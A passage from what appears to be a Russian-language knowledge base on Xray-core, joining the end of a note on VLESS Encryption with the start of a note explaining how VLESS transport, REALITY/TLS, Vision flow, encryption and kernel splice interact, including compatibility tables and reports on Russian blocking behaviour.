менее очевидно, ценой двух вещей сразу: ядерный splice на этой схеме перестанет включаться, а REALITY снова начнёт шифровать проксируемый поток, который до этого проходил насквозь. > > Чего делать не стоит — массово менять `encryption=none` на существующих ключах без подготовки. Клиенты на sing-box отвалятся полностью, а входы с `fallbacks` вообще не поднимутся. Правильный порядок — отдельный новый вход или проверенная поэтапная миграция по чек-листу выше. ## 📚 См. также - [[xray/vless-stack-map|Слои VLESS-стека: кто за что отвечает]] — карта и матрица совместимости: что с чем работает, где включается splice, где Vision - [[xray/vless|Протокол VLESS]] — устройство протокола, формат заголовка, `flow`, `fallbacks`, XUDP - [[xray/xtls-vision|XTLS и Vision]] — что такое `flow`, паддинг рукопожатия и прямое копирование - [[xray/reality|REALITY]] — маскировка под чужой сайт, постквантовые X25519MLKEM768 и ML-DSA-65 - [[xray/xhttp|XHTTP]] — транспорт через CDN, ради которого шифрование в основном и нужно - [[VLESS/dpi-tls-june-2026|Как DPI «замораживает» VLESS+REALITY]] — по каким признакам блокируют в России и почему шифрование содержимого на это не влияет - [[protocols/vmess|VMess]] — предшественник со встроенным шифрованием и синхронизацией часов - [[protocols/00-overview|Обзор протоколов]] — карта: какой протокол какую задачу решает - [[xray/authors-v2ray-xray|Кто стоит за V2Ray и Xray]] — про RPRX, автора VLESS, XTLS, REALITY и этого шифрования - 🔗 [PR #5067 «VLESS Post-Quantum Encryption»](https://github.com/XTLS/Xray-core/pull/5067) — первоисточник, описание от RPRX - 🔗 [config: inbounds/vless](https://xtls.github.io/en/config/inbounds/vless.html) · [outbounds/vless](https://xtls.github.io/en/config/outbounds/vless.html) — синтаксис `decryption`/`encryption` - 🔗 [xray vlessenc и другие команды](https://xtls.github.io/en/document/command.html) — генератор пар ключей - 🔗 [How the Great Firewall of China Detects and Blocks Fully Encrypted Traffic](https://www.usenix.org/system/files/usenixsecurity23-wu-mingshi.pdf) — USENIX Security 2023, эвристики против случайного трафика --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/xray/vless-encryption.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-08-06 tags: - xray - vless - xtls - vision - reality - transport - splice aliases: - Слои VLESS - Что с чем работает VLESS - Vision REALITY XHTTP разница - Почему Vision не работает с WebSocket - flow пустой что значит - Чем отличается encryption от security - Когда работает splice в Xray link: https://xtls.github.io/en/config/outbounds/vless.html --- # 🧩 Слои VLESS-стека: кто за что отвечает и что с чем работает > [!info] О чём заметка > Пять параметров одной `vless://`-ссылки — `type`, `security`, `flow`, `encryption` и сам протокол — управляют пятью **разными** слоями, и путаница между ними даёт большинство ошибок настройки: «включил Vision, а он не работает», «зачем REALITY, если есть шифрование», «почему splice не включается». Эта заметка — карта: за что отвечает каждый слой, чего он **не** делает, и матрица реальных комбинаций (проверено по коду Xray-core v26.7.28, август 2026). Подробные разборы каждой технологии — в отдельных заметках: [[xray/vless|VLESS]], [[xray/xtls-vision|XTLS и Vision]], [[xray/reality|REALITY]], [[xray/xhttp|XHTTP]], [[xray/vless-encryption|VLESS Encryption]]. ## TL;DR - Пять осей независимы: **протокол** (кто вы), **транспорт** (во что упаковано), **слой безопасности** (что видит цензор), **flow** (как передаётся поток внутри), **encryption** (шифрование самого протокола VLESS). - Ни один слой не заменяет другой. [[xray/reality|REALITY]] прячет соединение, [[xray/xtls-vision|Vision]] убирает признак TLS-в-TLS, [[xray/vless-encryption|VLESS Encryption]] защищает содержимое от посредника. Три разные задачи. - **Пустой `flow`** — это не «безопасно по умолчанию», а рабочая, но детектируемая схема: внутренний TLS шифруется второй раз, и вложенное рукопожатие видно по длинам первых пакетов. - Слух «в России без flow блокировки обходятся лучше» имеет реальную основу, но неверную причину: помогал не пустой flow, а **mux**, который без отказа от Vision не включить. Разбор ниже. - **Vision раньше требовал прямого TCP.** С появлением VLESS Encryption это перестало быть правдой: XTLS доступен либо при `TCP + TLS/REALITY`, либо при включённом VLESS Encryption — и тогда транспорт любой. - **Splice ≠ Vision.** Ядерный zero-copy включается в узком наборе условий: прямой TCP, без mux, appearance не `random`, и только в направлении «сервер → клиент». Vision работает и без splice, просто без ускорения. - Три жёстких запрета, которые ломают запуск или соединение: `fallbacks` + `decryption` (Xray не стартует), Vision + UDP-команда, TCP-поток внутри mux при Vision (рвёт всё mux-соединение). ## Пять осей: что за что отвечает Самая полезная привычка — читать конфиг не как список настроек, а как пять независимых ответов на пять разных вопросов. | Ось | Параметр | Отвечает на вопрос | Значения | |---|---|---|---| | Протокол | `protocol` | Кто вы и куда несём трафик | `vless`, `vmess`, `trojan`… | | Транспорт | `method` в конфиге (`type` в ссылке) | Во что упакован поток | `raw` (алиас `tcp`), `xhttp`, `grpc`, `websocket`, `httpupgrade`, `mkcp`, `hysteria` | | Слой безопасности | `security` | Как соединение выглядит снаружи | `tls`, `reality`, `none` | | Flow | `flow` | Как передаётся поток внутри туннеля | пусто, `xtls-rprx-vision`, `xtls-rprx-vision-udp443` | | Шифрование протокола | `encryption` | Защищено ли содержимое VLESS само по себе | `none`, `mlkem768x25519plus…` | Проще говоря: транспорт — это коробка, слой безопасности — как коробка выглядит для наблюдателя, flow — правило укладки содержимого, а encryption — замок на самом содержимом. Меняя одну ось, вы не меняете остальные. Две оговорки по именам транспортов. Во-первых, в июле 2026 (v26.7.11) ключ конфига `network` переименовали в `method`; старое имя не удалили, оно молча работает как синоним, но в документации теперь только новое. В share-ссылке параметр по-прежнему называется `type`. Во-вторых, канонические имена сменились: `raw` вместо `tcp`, `websocket` вместо `ws`, `mkcp` вместо `kcp` — прежние варианты остались алиасами. И отдельно: для **WebSocket, gRPC и HTTPUpgrade** ядро при старте печатает предупреждение об устаревании с советом переходить на XHTTP (появилось ещё в декабре 2024, формулировка мягкая — сроков удаления нет). > [!warning] Почему REALITY иногда ошибочно называют транспортом > Путаница возникает из-за структуры официальной документации: страница REALITY лежит в разделе «Конфигурация транспорта» — рядом с RAW, XHTTP и WebSocket. Но внутри этого раздела она относится к подразделу **«Безопасность транспорта»**, и в конфиге REALITY задаётся значением `security`, а не `method`. Это разные оси: транспорт отвечает за то, во что упакован поток, REALITY — за то, как этот поток выглядит снаружи. Потому они и комбинируются: REALITY поверх RAW, поверх XHTTP или поверх gRPC. > > Сама документация формулирует роль точно: REALITY — «модификация TLS, которая использует внешний вид и характеристики рукопожатия целевого сайта как маскировку» и «одна из самых сильных **схем защиты транспорта**». Защита транспорта — не транспорт. Там же разведены и соседние роли: REALITY отвечает за маскировку, а [[xray/xtls-vision|XTLS Vision]] — за управление потоком. > > Простейшая проверка на симметрию: **обычный TLS задаётся тем же самым параметром `security` и лежит в том же разделе документации — но транспортом его никто не называет.** Значит, и REALITY им не является: это его прямая замена на той же оси. Разница между ними в другом — TLS шифрует и подтверждает подлинность вашего сервера, а REALITY делает то же самое, но вдобавок выдаёт ваш сервер за чужой. Маскировка у него не побочный эффект, а заявленная цель. ### Что каждый слой решает и чего не решает Именно эта таблица снимает большую часть путаницы: у каждой технологии есть узкая задача, а всё остальное — не её работа. | Технология | Решает | **Не** решает | |---|---|---| | [[xray/vless\|VLESS]] | Аутентификацию по UUID и доставку до адреса назначения | Ничего не шифрует и не маскирует сам по себе | | [[xray/reality\|REALITY]] | Шифрование (это модификация TLS 1.3) плюс маскировку: сервер выглядит как чужой настоящий сайт и устойчив к активному зондированию | Не прячет форму трафика и не спасает от блокировки по IP/подсети | | TLS | Шифрование и стандартный вид HTTPS-соединения — но своего, а не чужого | Ничего не маскирует: нужен свой домен и сертификат, а TLS-отпечаток клиента остаётся заметным | | [[xray/xtls-vision\|Vision]] | Сигнатуру длин первых пакетов (TLS-в-TLS) и лишнее двойное шифрование | Не шифрует, не прячет тайминги и объёмы, не даёт невидимости | | [[xray/xhttp\|XHTTP]] / WebSocket / gRPC | Проход через CDN и обычные веб-серверы | Не шифруют; содержимое видно тому, кто терминирует внешний TLS | | [[xray/vless-encryption\|VLESS Encryption]] | Шифрование самого VLESS: постквантово, с прямой секретностью и защитой от повторов | Не меняет внешний вид соединения — против блокировок по отпечатку бесполезно | | uTLS (`fp`) | Отпечаток клиентского TLS — соединение похоже на Chrome/Firefox | Не влияет ни на поведение, ни на длины пакетов внутри туннеля, ни на содержимое | | mux | Схлопывает лавину TCP-соединений в одно | Ломает Vision-splice, а с Vision может оборвать всё мультиплексированное соединение | ## TLS-в-TLS: что это за проблема и при чём тут flow Проблема, вокруг которой построен весь `flow`, называется **TLS-in-TLS** (двойное шифрование). Браузер идёт на сайт по HTTPS — это уже зашифрованный TLS-поток. Прокси заворачивает его в свой TLS-туннель до сервера. Получается TLS внутри TLS: и лишняя работа процессору, и характерная сигнатура — по длинам первых пакетов вложенного рукопожатия прокси отличается от обычного HTTPS. `flow` управляет тем, что с этим делать: - **пусто** — ничего. Внутренний поток шифруется второй раз, вложенное рукопожатие остаётся с характерными короткими пакетами. - **`xtls-rprx-vision`** — добивает служебные пакеты рукопожатия случайной набивкой примерно до 900–1400 байт, а после того как убедится, что внутри пошёл настоящий TLS 1.3, перестаёт набивать и передаёт данные напрямую. - **`xtls-rprx-vision-udp443`** — то же самое, но QUIC на порт 443 не перехватывается. Значение **только клиентское**: суффикс отрезается перед отправкой, и сервер всегда видит обычный `xtls-rprx-vision`. Механика паддинга и разбор по байтам — в [[xray/xtls-vision|заметке про XTLS и Vision]], здесь важна только граница ответственности: Vision работает **поверх** уже установленного шифрования и сам ничего не шифрует. > [!warning] Что даёт пустой flow и почему это не «безопасный дефолт» > Конфигурация без `flow` полностью работоспособна и совместима со всем на свете — именно поэтому её так часто выдают панели и боты. Но она означает буквально следующее: двойное шифрование сохраняется, паддинг рукопожатия не применяется, а Xray сам помечает такое соединение как непригодное для ускорения. В коде сервера есть даже отдельное сообщение об отказе для входов с Vision: «клиент отклонён, потому что его flow пуст; учтите, что чистый TLS-прокси обладает определёнными признаками TLS-в-TLS». То есть пустой flow — осознанный компромисс ради совместимости, а не нейтральный выбор. История отношения разработчиков к пустому flow за 2026 год успела качнуться в обе стороны, и это стоит знать администраторам больших серверов. 18 января 2026 года (релиз **v26.1.18**) ядро начало печатать предупреждение о том, что VLESS без flow устарел и скоро будет удалён. Через пять дней формулировку смягчили до «The feature VLESS (with no Flow, etc.) is deprecated, not recommended for using and might be removed. Please migrate to VLESS with Flow & Seed as soon as possible» — угрозу немедленного удаления убрали, релиз v26.1.23. Дальше вмешалась реализация: сообщение выводилось **на каждого пользователя входа**, и сервер с десятью тысячами ключей получал десять тысяч одинаковых строк при старте, раздувая логи и задерживая запуск настолько, что у некоторых панелей срывались таймауты ([issue #5667](https://github.com/XTLS/Xray-core/issues/5667), подан на v26.2.6 и закрыт как not planned). Предупреждение всё же сняли — [PR #5671](https://github.com/XTLS/Xray-core/pull/5671) влит 3 марта 2026 и вышел в сборке v26.3.23, а в списке изменений релиза **v26.3.27** (27 марта 2026) это записано как «Remove "with no flow" warning **for now**». Формулировка «пока что» здесь важнее самого отката: направление на вытеснение VLESS без flow разработчики обозначили, но подтверждённой даты удаления нет, и на сегодня конфигурация без flow остаётся официально поддерживаемой. ### «В России без flow работает лучше» — что за этим стоит на самом деле Утверждение ходит по чатам с осени 2025 года, и у него есть реальная основа — но причина не та, которую обычно называют. Разбор стоит того, чтобы прочитать целиком, потому что из неверной причины следуют неверные решения. **Что произошло.** С 12 ноября 2025 года у части домашних провайдеров (MTS/МГТС в Москве, JustLan, LanInterCom, есть свидетельство по «Ростелекому» в Ижевске от 1 ноября) появилось новое поведение фильтрации: соединение устанавливалось нормально, но как только по туннелю шли настоящие данные, передача замирала — причём тем быстрее, чем больше трафика. Примерно через **60 секунд** к тому же серверу снова можно было подключиться. Обычный HTTPS-сёрфинг при этом не страдал, а сам сервер продолжал пинговаться и отдавать страницу в браузере. Всё это описано в [net4people/bbs #546](https://github.com/net4people/bbs/issues/546). **Что проверил автор темы — пользователь под ником 0x3mp7y.** В списке «уже проверено и **не** помогает» первым пунктом стоит именно «включение и выключение flow (`xtls-rprx-vision`)». А среди рабочих обходов перечислены: сменить порт с 443 на любой другой; **чтобы остаться на 443 — убрать flow и включить mux**; XHTTP (или старые H2/H3), тоже вместе с mux; пускать через прокси только нужные адреса; наконец, любой не-TLS протокол, который ещё не блокируют. В обновлении от 15 ноября механизм сформулирован прямо: провайдер применяет шейпинг при достижении некоторого числа одновременных соединений с одним адресом, поэтому «должны работать и любые другие приёмы, уменьшающие количество TLS-соединений». **Отсюда настоящая причинно-следственная цепочка** — пустой flow здесь техническое условие, а не средство: ```text цель: уменьшить число внешних TLS-соединений к серверу ↓ это делает Mux.Cool — классический мультиплексор протокола ↓ Mux.Cool несовместим с Vision (TCP-поток внутри mux рвёт mux-соединение) ↓ приходится выставить flow пустым ↓ соединений становится меньше — фильтр по их количеству не срабатывает ``` > [!important] Эта дилемма касается только Mux.Cool — у XHTTP мультиплексор другой > Мультиплексоров в Xray два, и их постоянно смешивают. **Mux.Cool** — классический мультиплексор уровня протокола VLESS; именно он несовместим с Vision, и именно про него весь разбор выше. **XMUX** — мультиплексор транспорта [[xray/xhttp|XHTTP]]: много проксируемых соединений делят одно HTTP/2 или HTTP/3-соединение, но каждое из них остаётся отдельным обычным запросом, и Vision над ними работает штатно. Поэтому с появлением [[xray/vless-encryption|VLESS Encryption]] выбор «или паддинг Vision, или мультиплексирование» исчез: рекомендация [[xray/authors-v2ray-xray|RPRX]] для CDN звучит как «VLESS Encryption + XTLS Vision + XHTTP XMUX» — всё сразу. То есть «no flow» сам по себе ничего не обходит. Самая недвусмысленная формулировка принадлежит тому же человеку, который первым описал проблему: 21 ноября 2025 года в обсуждении [PR #5102](https://github.com/XTLS/Xray-core/pull/5102) он пишет — «я пробовал в тестах отключать flow вообще как угодно, но без добавления mux это не помогало». Выдать пользователю ключ с пустым flow и не включить mux — значит не получить вообще ничего из описанного эффекта. Причём mux задаётся **настройкой клиента**, а не параметром `vless://`-ссылки: в стандарте share-ссылок поля для него нет вовсе, и в разных клиентах он включается по-разному. Это главная практическая ловушка такой «оптимизации» — профиль выглядит «как советовали», а механизм, который единственный и работал, не включён. Насколько это больно, зависит от клиента, и разброс тут неприятный: | Клиент | Можно ли доставить mux удалённо | Область настройки | |---|---|---| | **v2rayNG** | **Нет вообще** — поле намеренно не читается ни из ссылки, ни из подписки | глобально на всё приложение | | v2rayN | Только своим форматом `v2rayn://` | на профиль | | Happ | Да — документированные строки подписки `mux-enable`, `mux-tcp-connections`, `mux-xudp-connections`, `mux-quic` (нужен Provider ID) | глобально, **перезаписывает выбор пользователя** | | v2RayTun | Да, но через вендорский бэкенд провайдера, недокументированно | глобально | | Throne | Да — нестандартные параметры ссылки `mux`, `mux_concurrency` | на профиль, перебивает глобальную | | mihomo, sing-box, Hiddify, Karing | Мультиплексор есть, но **чужой** — не Mux.Cool | — | Две ловушки из этой таблицы стоят отдельного упоминания. Первая: у самого массового в России клиента, **v2rayNG, включить mux дистанционно невозможно в принципе** — пользователю придётся лезть в настройки руками, и настройка эта глобальная, то есть заденет и остальные его профили, где mux бесполезен. Вторая: у mihomo, sing-box и клиентов на них мультиплексирование — это `smux`/`yamux`/`h2mux` из семейства sing-box, **несовместимые с Mux.Cool на уровне протокола** (разные магические адреса, разный формат кадров). Если включить `smux` в подписке против Xray-сервера, клиент честно попросит проксировать `sp.mux.sing-box.arpa:444`, Xray этого адреса не узнает, попытается его отрезолвить, получит NXDOMAIN — и узел будет выглядеть просто мёртвым, без единого внятного сообщения на клиентской стороне. > [!note] «Включите mux, чтобы соединение не рвалось по простою» — на текущем коде не работает > Отдельный миф из той же области. В протоколе Mux.Cool с самого начала определён кадр keepalive, но, как выяснилось в [PR #6561](https://github.com/XTLS/Xray-core/pull/6561) (31 июля 2026), **ни один путь кода его никогда не отправлял** — простаивающее mux-соединение на проводе действительно простаивает. Патч, добавлявший отправку, мейнтейнер отклонил со словами «такой способ правки неверен, и момент отправки нужно продумать». Так что mux сокращает число соединений, но не поддерживает их живыми. > [!warning] Средство оказалось временным и не универсальным — счёт шёл на дни > Уже в обновлении от 22 ноября 2025 автор темы 0x3mp7y пишет, что mux и XHTTP помогают не всем пользователям. 23 ноября он же в [issue #5332](https://github.com/XTLS/Xray-core/issues/5332) добавляет короче: «похоже, mux сейчас тоже не помогает». Саму волну откатили около 25 ноября 2025 — то есть весь эпизод, породивший слух, уложился примерно в две недели. > > Дальше было хуже. 7 февраля 2026 года в той же теме сообщают о новой волне (начавшейся, судя по репликам, на три-четыре дня раньше), под которую попали **и** `VLESS + REALITY + Vision`, **и** VLESS с пустым flow. В тот же день другой участник описывает симптом иначе: «Server Hello не возвращается» — то есть блокировка сработала уже на рукопожатии, а на этой стадии значение `flow` не может повлиять ни на что в принципе, оно живёт внутри туннеля. > > Параллельно в России работают совсем другие механизмы: белые списки SNI и подсетей, ограничения по региону и оператору. Против них выбор flow не влияет ни на что. > [!danger] Второе российское правило работает ровно наоборот, и mux под него попадает хуже > Есть вторая, независимая схема фильтрации, описанная в [net4people/bbs #490](https://github.com/net4people/bbs/issues/490): при подозрительной подсети сервера соединение «замораживают» после того, как в нём прошло определённое количество пакетов. Изначально порог описывали в байтах — 15–20 КБ, — но позже автор темы уточнил механику: считаются **не байты, а пакеты, обычно 25 в каждую сторону**, что в среднем и даёт те самые ~16 КБ полезной нагрузки. Правило применяется и к TCP, и к UDP, поэтому правило предложено переименовать из «tcp 16-20» в «l4-25» — но в самих чекерах старое имя пока осталось. Проверить, есть ли правило у вашего провайдера, можно утилитой `l4-25_prober.py`: по умолчанию она шлёт всего 64 байта, разбитые на 32 пакета по два, и этого хватает, чтобы поймать заморозку — что и показывает, что дело в пакетах, а не в объёме. Бюджет привязан к соединению и по времени не восстанавливается: попытка выждать паузу, не разрывая соединение, результата не дала. > > Отсюда следует неприятное: **два правила требуют противоположного**. Правило по числу соединений (#546) лечится их сокращением, то есть mux. Правило по числу пакетов (l4-25, #490) наказывает как раз за длинные соединения, и его штатный обход — наоборот, размазать трафик по многим коротким. Мультиплексирование по определению максимизирует пакеты на соединение: восемь потоков делят один 25-пакетный бюджет и умирают разом. Прямых замеров «mux против l4-25» нет — в треде #490 мультиплексирование не обсуждается вовсе, — так что это вывод из механики правила, а не измерение. Но проверять, какое из двух правил действует именно у вас, нужно **до** того, как раздавать профиль: они лечатся взаимоисключающими способами. > [!warning] Мультиплексирование само по себе — тоже фингерпринт > Продолжение работы USENIX 2024 той же группы — [NDSS 2025 «The Discriminative Power of Cross-layer RTTs in Fingerprinting Proxy Traffic»](https://www.ndss-symposium.org/wp-content/uploads/2025-966-paper.pdf) — атакует уже не начало соединения, а расхождение RTT транспортного и прикладного уровней в любой его момент. Про мультиплексирование там сказано прямо: оно снижает детект, «однако может вводить новые типы отпечатков — мультиплексированные потоки живут дольше и несут больше пакетов, а медианное число пар запрос-ответ в них выше, чем у 97 % всех потоков, наблюдаемых у провайдера, что уже само по себе делает их выбросами и более заметными». Вывод авторов: «мы советуем с осторожностью относиться к мультиплексированию как к единственной мере защиты». > > Vision в той же работе тестировался и не помог: «за исключением obfs4, результаты по всем протестированным прокси-протоколам оказались практически идентичными» — атака протокольно-агностична, потому что ни один из них не меняет тайминги. Детект на уровне отдельного потока около 20 %, но на уровне визита на сайт — выше 70 %. > [!note] Побочная гипотеза, которую тоже стоит знать: «Vision палится по своему паддингу» > Разбирая ту же ноябрьскую волну, [[xray/authors-v2ray-xray|RPRX]] — автор и Vision, и самого VLESS — 21 ноября 2025 года предположил, что оператор мог нацелиться именно на параметры набивки в коде Vision, те самые пороги `900 500 900 256`, не менявшиеся три года. Догадкой это названо сразу («поэтому я так и предположил»), а основанием послужило то, что помог mux. Через два дня — уточнение: неясно даже принципиальное, обучен ли фильтр как чёрный список по трафику Vision или как белый список по браузерному. А ещё через день появилась третья версия: дело вообще не в признаках отдельного соединения, потому что, по сообщению одного из участников, под фильтр попадал и настоящий Chrome — то есть считают только соединения. Правда, тут же выяснилось, что и это объяснение шаткое — другой разработчик возразил, что браузер сам ограничен шестью соединениями на домен, поэтому «кратные шести» цифры в наблюдении могут быть артефактом самого Chrome, и нужен отдельный тест. > > Практическим следствием всё равно стала настройка `testseed`, позволяющая менять эти пороги ([PR #5270](https://github.com/XTLS/Xray-core/pull/5270), влит 1 декабря 2025), но публичных отчётов «поменял параметры — блокировка ушла» с тех пор не появилось. Подробности — в [[xray/xtls-vision|заметке про Vision]]. Пока это непроверенное предположение, от которого отступил и сам RPRX. ### Что в 2026 году крутят вместо flow Полезный ориентир для тех, кто хочет действующий рычаг, а не фольклор: в самом Xray настройка, которую подкручивают под российские блокировки, — это **число соединений XHTTP-мультиплексора**, и дефолт у неё за один месяц поменяли дважды. 27 июня 2026 года дефолт `maxConnections` подняли до 6 с прямой пометкой в коммите «for anti-RKN» (релиз v26.6.27), а 28 июля снизили с 6 до 3 — «for anti-TSPU» (релиз v26.7.28). Поводом ко второму изменению стала жалоба из России о том, что лимит одновременных соединений у оператора упал с двенадцати до четырёх, а за превышение следует бан на несколько минут. Единого правильного значения нет, и полевые отчёты прямо расходятся. 28 июля 2026 пользователь из Москвы сообщает, что `maxConnections: 3` держится больше месяца без вмешательства ТСПУ, выше трёх начинаются блокировки на мобильной сети МТС, а выше шести — и на проводной. А 4 августа другой пользователь из России пишет обратное: после массовых блокировок ему стало заметно лучше, когда он вручную вернул значение к 6, и предполагает, что фильтр реагирует уже на **слишком малое** и слишком частое число `ClientHello`, потому что это не похоже на естественное поведение браузера. Ответа разработчиков на это сообщение нет, коммитов в ядро после 28 июля тоже. Вопрос на 6 августа 2026 открыт. Практический вывод для администратора: подбирать значение под свою сеть и следить за обновлениями, но крутить именно его, а не `flow` — и он совместим с Vision. Следующий кандидат на настройку уже предложен и пока не принят: `hMinSocketInterval` ([issue #6547](https://github.com/XTLS/Xray-core/issues/6547)), который разносил бы установку соединений по времени на 400–600 мс, чтобы не попадать под порог «более трёх параллельных TLS к одному SNI с интервалом менее 350–400 мс». > [!danger] Не спутайте блокировку с обновлением ядра: дефолт `minClientVer` > Ловушка, на которую летом 2026 попались многие. В Xray-core v26.7.11 (11 июля 2026) у REALITY появился **дефолт `minClientVer: 26.3.27`**: сервер отказывает клиентам со старым ядром. Отказ при этом молчаливый — соединение просто прозрачно уходит на настоящий сайт-донор, как будто это активный зонд. Клиент видит ошибку проверки сертификата, пинг может отображаться, трафик не идёт. Симптом неотличим от блокировки. > > Под нож попали Shadowrocket, старые сборки клиентов и, что особенно неприятно, **mihomo — навсегда**: он жёстко сообщает версию клиента 1.8.2, и запрос на изменение закрыт с меткой «не будем», так что чинить приходится на сервере. Мотив разработчиков не криптографический, а антицензурный: старое ядро означает устаревший отпечаток uTLS, который сам повышает риск блокировки IP сервера — в коде рядом стоит предупреждение о том, что понижение порога «повышает вероятность блокировки IP вашего сервера». > > Как отличить за минуту: свежий клиент на том же конфиге работает, старый — нет; откат серверного бинарника на v26.6.27 чинит всё без правки конфига; проверочная мера — прописать `"minClientVer": "1.0.0"` в `realitySettings` и перезапустить. Учтите, что затронуты только те, кто ставит пре-релизные сборки (панели вроде 3x-ui тянут их автоматически) — последний релиз со стабильной меткой, v26.3.27, этого поведения не содержит. **Что из этого следует для конфигурации.** Vision остаётся более сильным основным режимом: он единственный, кто вообще что-то делает с сигнатурой TLS-в-TLS, тогда как пустой flow не делает ничего. Разумная схема — держать Vision основным профилем, а связку «пустой flow + реально включённый mux» иметь **отдельным запасным профилем** для сетей, которые считают соединения. И проверять их надо сравнением из самой российской сети, не меняя одновременно IP, порт, SNI и домен, иначе результат ничего не покажет. > [!note] Осторожно с цифрами из USENIX Security 2024 — их часто сравнивают неправильно > В работе «Fingerprinting Obfuscated Proxy Traffic with Encapsulated TLS Handshakes» действительно есть числа и про паддинг, и про мультиплексирование, но они относятся к **разным конфигурациям и получены разными классификаторами в разных рабочих точках**, так что ставить их рядом нельзя. Набивка у vmess поверх WebSocket и TLS снижает долю верно распознанных потоков (TPR) с 0,859 до 0,687 — и авторы тут же поясняют, что схема набивки у vmess узкая (0–63 байта). Для XTLS-Vision исследователям пришлось переучивать модель так, чтобы она опиралась на направления и порядок пакетов, а не на их индивидуальные размеры; там TPR вышел 0,513, но уже при почти вчетверо большем допуске ложных срабатываний — 0,199 % против 0,054 %, отношение 3,7. Мультиплексирование выглядит сильнее: у голого vmess объединение даже двух прикладных потоков роняет TPR с 0,771 до 0,225 — более чем на 70 %, — а vmess поверх WebSocket и TLS при восьми параллельных потоках и **без всякой набивки** опускается до 0,125. Строки с VLESS и mux в таблице нет вообще: авторы такую комбинацию не мерили. > > У выигрыша от mux есть жёсткое условие, о котором обычно забывают: **когда активен один-единственный прикладной поток, перемешивать нечего**, и защита деградирует до уровня обычного немультиплексированного соединения. Так что «no-flow + mux» — это не «TPR 0,125», а «TPR 0,125 при живом параллельном трафике». Отдельно авторы отмечают довод в пользу Vision: сама необходимость писать под него выделенный классификатор повышает для цензора стоимость детекта. Побочная деталь того же класса: у Vision по умолчанию блокируется QUIC на UDP/443 (чтобы браузер не утёк мимо туннеля), при пустом flow — нет. Рассчитывать на это не стоит: блокировки QUIC в российских сетях фиксируются с 2022 года ([net4people/bbs #108](https://github.com/net4people/bbs/issues/108)). Если нужен именно Vision с разрешённым QUIC, для этого есть отдельное значение `xtls-rprx-vision-udp443`, а не отказ от flow. И отдельно: **Vision не делает прокси невидимым**. Работа USENIX Security 2024 «Fingerprinting Obfuscated Proxy Traffic with Encapsulated TLS Handshakes» тестировала именно `xtls-rprx-vision` и показала, что выделенный классификатор всё равно распознаёт заметную долю таких потоков: он опирается на направления и порядок пакетов, на размеры всплесков и число обменов, а индивидуальные длины пакетов — ровно то, что прячет набивка Vision, — перестаёт учитывать. Подробнее о поведенческом детекте — в [[VLESS/dpi-tls-june-2026|разборе схемы ограничений]]. ## Матрица: какие комбинации работают Главная таблица заметки. Проверено по коду Xray-core v26.7.28 (август 2026) и документации. | Транспорт | `security` | `encryption` | `flow` | Работает? | Что получаем | |---|---|---|---|---|---| | RAW TCP | REALITY или TLS | `none` | `xtls-rprx-vision` | ✅ | Классика: маскировка + паддинг рукопожатия + ядерный splice | | RAW TCP | REALITY или TLS | `none` | пусто | ✅ | Работает, но TLS-в-TLS не скрыт, splice выключен | | XHTTP / WS / gRPC | TLS (REALITY — не для WS) | `none` | пусто | ✅ | Проход через CDN, Vision недоступен | | XHTTP / WS / gRPC | TLS (REALITY — не для WS) | `none` | `xtls-rprx-vision` | ❌ | Ошибка: «XTLS only supports TLS and REALITY directly for now» | | XHTTP / WS / gRPC | TLS (REALITY — не для WS) | VLESS Encryption | `xtls-rprx-vision` | ✅ | Vision поверх CDN-транспорта; splice недоступен | | RAW TCP | `none` | VLESS Encryption | `xtls-rprx-vision` | ✅ | Без внешнего TLS: шифрует сам VLESS; splice работает при `native`/`xorpub` | | RAW TCP | REALITY | VLESS Encryption | `xtls-rprx-vision` | ✅ | Двойная защита; splice выключается | | Любой | любой | VLESS Encryption | любой | ❌ при `fallbacks` | Xray **не стартует**: `"fallbacks" can not be used together with "decryption"` | | Любой публичный адрес | `none` | `none` | любой | ❌ у клиента | С v26.7.11 (пре-релиз) исходящее соединение не собирается: VLESS без шифрования разрешён только на приватный адрес. Серверный вход такую схему пока принимает | > [!warning] REALITY работает не с любым транспортом > Отдельное ограничение, о которое спотыкаются при сборке конфига: REALITY поддерживает только RAW (то есть прямой TCP), XHTTP и gRPC. С WebSocket, HTTPUpgrade и mKCP его собрать нельзя — ядро отвергает конфигурацию с сообщением `REALITY only supports RAW, XHTTP and gRPC for now`. Для WebSocket остаётся обычный TLS. Строка, ради которой таблица и нужна: **`XHTTP + Vision` без VLESS Encryption не заработает, а с ним — заработает**. Это и есть та связь, которую чаще всего формулируют неточно. Точная формулировка из документации: XTLS доступен в двух случаях — `TCP + TLS/REALITY` либо `VLESS Encryption`, и во втором «ограничений на нижележащий транспорт нет». > [!note] Почему сообщение об ошибке вводит в заблуждение > Строка «XTLS only supports TLS and REALITY directly for now» по-прежнему живёт в коде Xray, но она стала **последней веткой** проверки: сначала ядро смотрит, не завёрнуто ли соединение в VLESS Encryption, потом — TLS, потом REALITY, и только если ничего не подошло, выдаёт эту ошибку. Сам текст не трогали с апреля 2023 года (до этого он звучал ещё иначе — «XTLS only supports TCP, mKCP and DomainSocket for now»), поэтому читать его буквально нельзя. ## Когда включается splice (и почему обычно не включается) `splice(2)` — системный вызов Linux, который перекидывает данные между сокетами прямо в ядре, без копирования в память процесса. Это то, что даёт Xray с Vision почти нулевой оверхед на слабом железе. Но условий много, и почти каждое «лишнее» улучшение конфига его выключает. | Условие | Splice | |---|---| | Прямой TCP, `flow=xtls-rprx-vision`, внутри настоящий TLS 1.3 | ✅ | | VLESS Encryption поверх прямого TCP, appearance `native` или `xorpub`, `security: none` | ✅ | | VLESS Encryption с appearance `random` | ❌ — отдельный XOR-слой нельзя «пробить» | | VLESS Encryption, а поверх него ещё TLS или REALITY | ❌ — под шифрованием уже не голый TCP | | Транспорт XHTTP, WebSocket, gRPC, mKCP | ❌ — не RAW-транспорт | | Пустой `flow` | ❌ | | Соединение внутри mux | ❌ | | Внутри TLS 1.2 или шифр `TLS_AES_128_CCM_8_SHA256` | ❌ — прямое копирование не включится | | Направление «клиент → сервер» (uplink) | ❌ — в коде промоушен закомментирован пометкой «TODO: enable uplink splice» | Проще говоря: splice — это премия за самую простую конфигурацию, а не свойство Vision. Как только между Vision и сокетом появляется что-то ещё — CDN-транспорт, второй слой шифрования, 